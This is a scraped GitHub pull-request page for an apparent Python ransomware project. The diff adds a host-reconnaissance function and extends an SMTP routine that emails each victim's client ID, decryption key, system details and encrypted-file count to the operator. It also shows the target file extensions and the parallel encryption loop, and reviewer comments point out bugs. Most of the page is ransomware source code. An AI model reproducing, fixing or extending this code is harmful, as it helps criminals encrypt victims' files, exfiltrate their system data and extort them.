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Add Function "Recon" and Added Encrypted File Count #2

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Add Function "Recon" and Added Encrypted File Count #2

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Delete cyphermain.py
ghostwalkr May 12, 2020
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ghostwalkr May 12, 2020
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21 changes: 19 additions & 2 deletions cyphermain.py
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Original file line number Diff line number Diff line change
Expand Up @@ -63,6 +63,20 @@ def Key_Ops_HTTP():
###---@---###
######################################---NOT IMPLEMENTED---######################################

#### NEW Function ###
# Does some recon of the host system
def recon():
osinfo = os.uname()
user = os.getlogin()
information = {
"osname": osinfo[0],
"hostname": osinfo[1],
"os_release": osinfo[2],
"kernel_version": osinfo[3],
"hardware": osinfo[4],
"user": user
}
return information


def send_Key_SMTP():
Expand All @@ -74,7 +88,7 @@ def send_Key_SMTP():
FROM = USER
TO = ["[email protected]"]
SUBJECT = "Ransomware data: "+str(ts)
MESSAGE = """\Client ID: %s Decryption Key: %s """ % (ID, exKey)
MESSAGE = """\Client ID: %s Decryption Key: %s Host info: %s Number of encrypted files: %s""" % (ID, exKey, str(hostinfo), encrypted_count)
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Indentation error

message = """\ From: %s To: %s Subject: %s %s """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
try:
server = smtplib.SMTP()
Expand Down Expand Up @@ -118,6 +132,7 @@ def single_arg_encrypt_file(in_filename):
encrypt_file(key, in_filename)

def select_files():
global encrypted_count
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Please use method arguments instead of global variables when not returning in a particular method.


ext = [".3g2", ".3gp", ".asf", ".asx", ".avi", ".flv",
".m2ts", ".mkv", ".mov", ".mp4", ".mpg", ".mpeg",
Expand All @@ -132,7 +147,8 @@ def select_files():
for file in files:
if file.endswith(tuple(ext)):
files_to_enc.append(os.path.join(root, file))


encrypted_count = str(len(files_to_enc)) ## Get a count of the encrypted files
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you can't str(len(array) str sets the type to string, you are looking at an array here files_to_enc . This will throw a type error.

# Parallelize execution of encryption function over four subprocesses
pool = Pool(processes=4)
pool.map(single_arg_encrypt_file, files_to_enc)
Expand Down Expand Up @@ -179,6 +195,7 @@ def note():
if SMTP == True:
key = RSA.generate(2048)
exKey = key.exportKey('PEM')
hostinfo = recon()
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Indentation error also you will need to process the dict to an actual array of strings.

send_Key_SMTP()
else:
Key_Ops_HTTP() # Not implemented
Expand Down